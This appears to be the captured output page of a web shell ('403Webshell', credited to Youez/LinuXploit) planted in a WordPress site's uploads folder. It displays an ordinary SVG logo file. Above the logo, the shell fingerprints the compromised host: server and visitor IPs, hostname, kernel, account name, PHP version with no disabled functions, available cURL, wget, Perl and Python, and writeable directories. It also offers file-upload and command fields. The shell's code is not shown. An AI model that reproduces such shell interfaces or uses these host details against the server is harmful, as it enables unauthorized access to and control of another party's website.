403Webshell
Server IP : 172.67.158.161  /  Your IP : 18.223.106.79
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/home/giankuin/./khowordpress.com/wp-content/uploads/2020/09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/home/giankuin/./khowordpress.com/wp-content/uploads/2020/09/Sapo-logo.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="804.782px" height="296.463px" viewBox="0 0 804.782 296.463" enable-background="new 0 0 804.782 296.463"
	 xml:space="preserve">
<g id="Layer_2">
</g>
<g id="Layer_1">
	<path fill="none" d="M358.83,113.437c-4.406-4.62-9.744-8.237-15.998-10.857c-6.254-2.621-13.025-3.931-20.313-3.931
		c-15.275,0-27.813,5.062-37.607,15.174c-9.79,10.119-14.692,22.931-14.692,38.441c0,14.173,5.075,26.139,15.228,35.893
		c10.155,9.761,22.303,14.638,36.465,14.638c9.842,0,18.66-2.279,26.455-6.859c7.795-4.563,13.828-10.835,18.076-18.792
		c4.252-7.957,6.389-16.866,6.389-26.732c0-7.392-1.24-14.245-3.695-20.562C366.674,123.527,363.242,118.062,358.83,113.437z"/>
	<path fill="none" d="M737.193,105.653c-7.9-4.665-16.516-7.005-25.848-7.005c-6.254,0-12.693,1.438-19.309,4.316
		c-6.611,2.873-12.172,6.775-16.689,11.703c-9.633,9.761-14.459,21.878-14.459,36.363c0,9.139,2.23,17.74,6.691,25.803
		c4.465,8.069,10.566,14.408,18.311,19.027c7.732,4.62,16.227,6.933,25.455,6.933c9.744,0,18.51-2.279,26.299-6.859
		c7.797-4.563,13.902-10.857,18.314-18.87c4.41-8.014,6.607-16.688,6.607-26.033c0-9.345-2.25-18.08-6.764-26.188
		C751.289,116.729,745.09,110.334,737.193,105.653z"/>
	<path fill="none" d="M541.658,105.815c-7.697-4.782-16.223-7.167-25.57-7.167c-9.65,0-18.385,2.313-26.188,6.932
		c-7.803,4.62-13.947,10.941-18.416,18.949c-4.463,8.013-6.699,16.742-6.699,26.194c0,16.127,5.445,29.067,16.328,38.821
		c4.723,4.11,10.072,7.342,16.021,9.704c5.959,2.369,11.764,3.545,17.412,3.545c9.654,0,18.463-2.329,26.422-7.011
		c7.963-4.67,14.178-11.014,18.645-19.027c4.467-8.007,6.699-16.793,6.699-26.346c0-8.932-2.182-17.403-6.543-25.416
		C555.398,116.98,549.365,110.586,541.658,105.815z"/>
	<path fill="#0FD186" d="M228.23,143.54V51.277C228.23,26.27,207.961,6,182.959,6L45.27,28.678C20.262,28.678,0,48.948,0,73.956
		v137.687c0,25.002,20.262,45.272,45.27,45.272h137.689c25.002,0,45.271-20.271,45.271-45.272V157.79
		c-0.135-2.325-0.223-4.673-0.223-7.066C228.008,148.312,228.088,145.918,228.23,143.54z M175.027,227.225
		c-15.956,11.009-35.23,16.514-57.789,16.514c-32.489,0-62.485-11.695-90-35.095l29.403-29.725
		c18.195,19.545,39.191,29.312,62.936,29.312c9.109,0,17.537-1.927,25.271-5.772c9.672-4.663,14.485-11.104,14.485-19.356
		c0-12.073-8.806-19.762-26.431-23.065l-24.345-4.63c-21.749-4.135-37.851-9.36-48.3-15.689
		c-15.675-9.638-23.54-23.394-23.54-41.296c0-20.369,8.274-36.61,24.782-48.728c14.59-11.01,32.479-16.515,53.665-16.515
		c26.972,0,53.395,9.232,79.277,27.663l-24.448,30.136c-17.676-14.864-35.649-22.292-53.868-22.292
		c-8.841,0-16.847,1.939-24.025,5.784c-8.565,4.68-12.847,11.137-12.847,19.406c0,10.736,8.792,17.745,26.429,21.066l43.329,8.246
		c35.245,6.596,52.857,24.363,52.857,53.263C201.869,197.924,192.918,214.838,175.027,227.225z"/>
	<path fill="#0089FF" d="M374.221,87.863c-6.885-9.855-15.383-17.353-25.504-22.493c-10.115-5.135-21.178-7.699-33.199-7.699
		c-12.84,0-24.681,2.464-35.516,7.392c-10.835,4.927-20.668,12.537-29.498,22.801c-5.549,6.372-9.937,12.762-13.174,19.184
		c-3.232,6.423-5.604,13.355-7.086,20.797c-1.029,5.146-1.695,10.379-2.014,15.696v14.25c1.266,21.913,8.475,40.771,21.657,56.562
		c7.907,9.346,17.356,16.586,28.348,21.721c10.986,5.135,23.009,7.699,36.054,7.699c11.092,0,22.154-2.671,33.201-8.008
		c11.037-5.336,19.742-12.481,26.107-21.412h0.623v23.725h38.664V63.214h-38.664V87.863z M366.443,177.143
		c-4.248,7.957-10.281,14.229-18.076,18.792c-7.795,4.58-16.613,6.859-26.455,6.859c-14.162,0-26.31-4.877-36.465-14.638
		c-10.152-9.754-15.228-21.72-15.228-35.893c0-15.511,4.902-28.322,14.692-38.441c9.795-10.112,22.332-15.174,37.607-15.174
		c7.287,0,14.059,1.31,20.313,3.931c6.254,2.62,11.592,6.237,15.998,10.857c4.412,4.625,7.844,10.091,10.307,16.412
		c2.455,6.316,3.695,13.17,3.695,20.562C372.832,160.276,370.695,169.186,366.443,177.143z"/>
	<path fill="#0089FF" d="M228.008,150.724c0,2.394,0.088,4.742,0.223,7.066v-14.25C228.088,145.918,228.008,148.312,228.008,150.724
		z"/>
	<path fill="#0089FF" d="M597.121,104.27c-3.791-7.133-8.164-13.22-13.092-18.254c-8.73-9.962-18.203-17.18-28.424-21.648
		c-10.221-4.468-21.898-6.696-35.047-6.696c-24.654,0-43.344,9.446-56.074,28.345h-0.777V63.214h-38.359v233.249h41.906v-77.341
		h0.613c12.842,16.44,30.402,24.649,52.691,24.649c12.324,0,23.896-2.464,34.734-7.392c10.84-4.928,20.264-11.787,28.277-20.567
		c8.01-8.785,14.119-18.77,18.332-29.963c4.211-11.193,6.318-22.902,6.318-35.126c0-8.013-0.904-15.976-2.693-23.882
		C603.725,118.936,600.928,111.409,597.121,104.27z M559.613,176.756c-4.467,8.014-10.682,14.357-18.645,19.027
		c-7.959,4.682-16.768,7.011-26.422,7.011c-5.648,0-11.453-1.176-17.412-3.545c-5.949-2.362-11.299-5.594-16.021-9.704
		c-10.883-9.754-16.328-22.694-16.328-38.821c0-9.452,2.236-18.182,6.699-26.194c4.469-8.008,10.613-14.329,18.416-18.949
		c7.803-4.619,16.537-6.932,26.188-6.932c9.348,0,17.873,2.385,25.57,7.167c7.707,4.771,13.74,11.165,18.111,19.179
		c4.361,8.013,6.543,16.484,6.543,25.416C566.313,159.963,564.08,168.749,559.613,176.756z"/>
	<path fill="#0089FF" d="M797.926,115.061c-4.582-11.25-11.08-21.189-19.508-29.813c-8.426-8.634-18.221-15.382-29.371-20.259
		c-11.158-4.877-23.107-7.318-35.854-7.318c-13.152,0-25.443,2.385-36.848,7.161c-11.406,4.776-21.43,11.401-30.072,19.873
		c-8.631,8.473-15.393,18.389-20.273,29.733c-4.879,11.351-7.318,23.546-7.318,36.593c0,16.536,4.18,31.946,12.566,46.219
		c8.373,14.273,19.676,25.596,33.916,33.973c14.24,8.366,29.627,12.549,46.182,12.549c12.541,0,24.484-2.335,35.85-7.005
		c11.357-4.676,21.43-11.379,30.215-20.108c8.795-8.729,15.553-18.691,20.283-29.885c4.729-11.199,7.092-23.115,7.092-35.742
		C804.785,138.293,802.496,126.299,797.926,115.061z M755.959,177.064c-4.412,8.013-10.518,14.307-18.314,18.87
		c-7.789,4.58-16.555,6.859-26.299,6.859c-9.229,0-17.723-2.313-25.455-6.933c-7.744-4.619-13.846-10.958-18.311-19.027
		c-4.461-8.063-6.691-16.664-6.691-25.803c0-14.485,4.826-26.603,14.459-36.363c4.518-4.928,10.078-8.83,16.689-11.703
		c6.615-2.878,13.055-4.316,19.309-4.316c9.332,0,17.947,2.34,25.848,7.005c7.896,4.681,14.096,11.075,18.609,19.189
		c4.514,8.108,6.764,16.844,6.764,26.188C762.566,160.377,760.369,169.051,755.959,177.064z"/>
</g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit